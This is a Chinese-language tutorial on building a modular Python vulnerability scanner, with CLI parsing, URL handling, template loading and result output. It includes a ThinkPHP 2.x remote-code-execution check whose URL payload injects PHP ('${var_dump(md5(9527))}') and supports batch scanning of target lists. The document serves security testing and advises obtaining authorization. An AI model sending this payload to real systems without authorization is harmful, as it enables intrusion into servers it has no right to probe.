从零构建:我的漏洞扫描器之旅
字数 1361 2025-08-22 12:23:12
从零构建漏洞扫描器 - 详细教学文档
1. 项目概述
本教学文档将详细介绍如何从零开始构建一个自定义漏洞扫描器。该扫描器具有以下核心功能:
- 支持单个URL扫描和批量文件扫描
- 采用模块化模板设计,便于扩展新漏洞检测
- 提供直观的结果输出
- 具备基本的URL处理功能
2. 系统架构设计
2.1 主程序框架
扫描器采用命令行界面,使用Python的argparse模块处理用户输入:
import argparse
import sys
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="漏洞扫描工具。")
parser.add_argument('-u', '--url', type=str, help='单个目标扫描。')
parser.add_argument('-f', '--file', type=str, help='多目标批量扫描。')
parser.add_argument('-t', '--template', type=str, help='指定扫描模板文件。')
args = parser.parse_args()
if '-u' in sys.argv and '-t' in sys.argv:
# 单个URL扫描逻辑
pass
elif '-f' in sys.argv and '-t' in sys.argv:
# 批量扫描逻辑
pass
else:
# 其他情况处理
pass
2.2 核心模块组成
- 主程序入口:处理命令行参数和流程控制
- 模板系统:漏洞检测逻辑的实现
- URL处理模块:规范化输入URL
- 结果输出模块:格式化显示扫描结果
- 工具函数:辅助功能实现
3. 核心模块实现
3.1 漏洞模板系统
漏洞检测的核心是模板系统,采用面向对象设计:
import datetime
from urllib.parse import urljoin
import requests
from PublicMethod import host_to_ip
from PublicMethod import success
class vul_scan:
def __init__(self):
pass
def vul_name(url):
protocol, ip_address, port = host_to_ip.normalize_and_parse_url(url, host_to_ip=False)
target = f'{protocol}://{ip_address}:{port}'
# 定义漏洞信息结构
result = {
'name': '漏洞名称',
'vulnerable': False,
'method': 'None',
'url': url,
'payload': 'None'
}
try:
headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
}
uri = ''
target = urljoin(target, uri)
response = requests.get(url=target, headers=headers, timeout=5, verify=False)
# 漏洞检测逻辑
if True: # 替换为实际的检测条件
result['vulnerable'] = True
result['method'] = 'POST'
result['url'] = url
result['payload'] = uri
success.VulExist(result)
return result
else:
return result
except Exception as e:
return result
def start_scan(self):
return vul_scan.vul_name(self)
模板使用说明
- 每个漏洞检测应创建一个单独的类方法
- 方法名应为漏洞名称(如
thinkphp_2x_rce) - 必须包含
start_scan方法作为统一入口 - 检测逻辑应放在try块中,处理可能的网络异常
3.2 URL处理模块
host_to_ip.py负责URL规范化处理:
from urllib.parse import urlparse, urlunparse
import socket
def normalize_and_parse_url(url, host_to_ip=False):
# 自动添加协议前缀
if not url.startswith(('http://', 'https://')):
url = 'http://' + url if '://' not in url else url
parsed_url = urlparse(url)
protocol = parsed_url.scheme
host = parsed_url.hostname
port = parsed_url.port or (443 if protocol == 'https' else 80)
# 可选的主机名解析
if host_to_ip:
try:
ip_address = socket.gethostbyname(host)
except socket.gaierror:
raise ValueError(f"Cannot resolve hostname {host} to an IP address")
else:
ip_address = host
return protocol, ip_address, port
3.3 结果输出模块
3.3.1 漏洞存在提示
success.py处理漏洞检测成功的输出:
import base64
from colorama import init, Fore, Style
def VulExist(data):
data = str(data)
init(autoreset=True)
if isinstance(data, str):
data_bytes = data.encode('utf-8')
else:
data_bytes = data
encoded_bytes = base64.b64encode(data_bytes)
encoded_str = encoded_bytes.decode('utf-8')
print(Fore.CYAN + encoded_str)
3.3.2 格式化表格输出
FormatOutput.py提供美观的结果展示:
from prettytable import PrettyTable
from termcolor import colored
def FormatOutput(data_list):
table = PrettyTable()
table.field_names = ['name', 'method', 'url', 'payload', 'vulnerable']
table.field_names = [colored(field, attrs=['bold']) for field in table.field_names]
for index, data in enumerate(data_list):
row_values = [
data['name'],
data['method'],
data['url'],
data['payload'],
data['vulnerable']
]
# 根据漏洞状态着色
if data['vulnerable']:
row_values[4] = colored('True', 'green')
else:
row_values[4] = colored('False', 'red')
table.add_row(row_values)
# 添加分隔线
if index < len(data_list) - 1:
table.add_row(['-' * len(field) for field in table.field_names])
print(table)
3.4 模板加载系统
实现模板的动态加载和缓存:
import importlib.util
import sys
cached_module = None
def load_module(module_path):
global cached_module
if cached_module is None:
module_name = module_path.replace('.py', '').split('/')[-1]
spec = importlib.util.spec_from_file_location(module_name, module_path)
cached_module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = cached_module
spec.loader.exec_module(cached_module)
return cached_module
def call_start_scan(module, url):
if hasattr(module, 'start_scan'):
return module.start_scan(url)
else:
print(f"Function 'start_scan' not found in the module.")
4. 主程序整合
将各模块整合到主程序中:
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="漏洞扫描工具。")
parser.add_argument('-u', '--url', type=str, help='单个目标扫描。')
parser.add_argument('-f', '--file', type=str, help='多目标批量扫描。')
parser.add_argument('-t', '--template', type=str, help='指定扫描模板文件。')
args = parser.parse_args()
if '-u' in sys.argv and '-t' in sys.argv:
data_list = []
module = load_module(args.template)
data = call_start_scan(module, args.url)
data_list.append(data)
FormatOutput.FormatOutput(data_list)
elif '-f' in sys.argv and '-t' in sys.argv:
try:
data_list = []
module = load_module(args.template)
with open(args.file, 'r') as files:
file = [line.strip() for line in files if line.strip()]
for url in file:
data = call_start_scan(module, url)
data_list.append(data)
FormatOutput.FormatOutput(data_list)
except Exception as e:
pass
else:
pass
5. 漏洞模板开发实例
以ThinkPHP 2.x RCE漏洞为例:
import datetime
from urllib.parse import urljoin
import requests
from PublicMethod import host_to_ip
from PublicMethod import success
class vul_scan:
def __init__(self):
pass
def thinkphp_2x_rce(url):
protocol, ip_address, port = host_to_ip.normalize_and_parse_url(url, host_to_ip=False)
target = f'{protocol}://{ip_address}:{port}'
result = {
'name': 'thinkphp_2x_rce',
'vulnerable': False,
'method': 'None',
'url': url,
'payload': 'None'
}
try:
headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
}
uri = '?s=/sec/test/00/${var_dump(md5(9527))}'
target = urljoin(target, uri)
response = requests.get(url=target, headers=headers, timeout=5, verify=False)
if '52569c045dc348f12dfc4c85000ad832' in response.text:
result['vulnerable'] = True
result['method'] = 'POST'
result['url'] = url
result['payload'] = uri
success.VulExist(result)
return result
else:
return result
except Exception as e:
return result
def start_scan(self):
return vul_scan.thinkphp_2x_rce(self)
6. 使用示例
6.1 单个URL扫描
python scanner.py -u http://target.com:8080 -t thinkphp_2x_rce.py
6.2 批量扫描
python scanner.py -f targets.txt -t thinkphp_2x_rce.py
其中targets.txt内容格式为每行一个URL:
http://target1.com
http://target2.com:8080
192.168.1.100
7. 优化建议
- 多线程支持:使用
threading或multiprocessing模块提高扫描效率 - 默认模板:当不指定模板时,自动加载默认模板集
- 多模板扫描:支持一次指定多个模板文件进行综合扫描
- 代理支持:添加
-p/--proxy参数支持代理设置 - 结果保存:添加
-o/--output参数支持结果保存到文件 - 进度显示:添加扫描进度条显示
- 超时配置:允许用户自定义请求超时时间
- 重试机制:对失败的请求添加自动重试功能
8. 扩展开发指南
8.1 开发新漏洞模板
- 复制现有模板文件并重命名
- 修改类方法名为漏洞名称
- 实现具体的漏洞检测逻辑
- 更新
result字典中的漏洞信息 - 确保
start_scan方法正确调用新的检测方法
8.2 添加新功能
- 认证支持:添加对需要认证的目标的支持
- 自定义头:允许用户自定义请求头
- 速率限制:添加请求速率控制
- 插件系统:设计插件架构支持功能扩展
- API接口:添加REST API接口支持远程调用
9. 安全注意事项
- 扫描前应获得目标系统的授权
- 避免使用过于激进的检测方式可能导致服务中断
- 注意处理敏感信息,如认证凭据等
- 考虑添加扫描速率限制避免对目标造成过大负载
- 确保工具本身的安全性,避免成为攻击媒介
10. 总结
本教学文档详细介绍了从零开始构建漏洞扫描器的全过程,包括:
- 系统架构设计
- 核心模块实现
- 模板开发方法
- 使用示例
- 优化建议
- 扩展开发指南
通过本指南,开发者可以快速掌握漏洞扫描器的开发方法,并根据实际需求进行功能扩展和定制开发。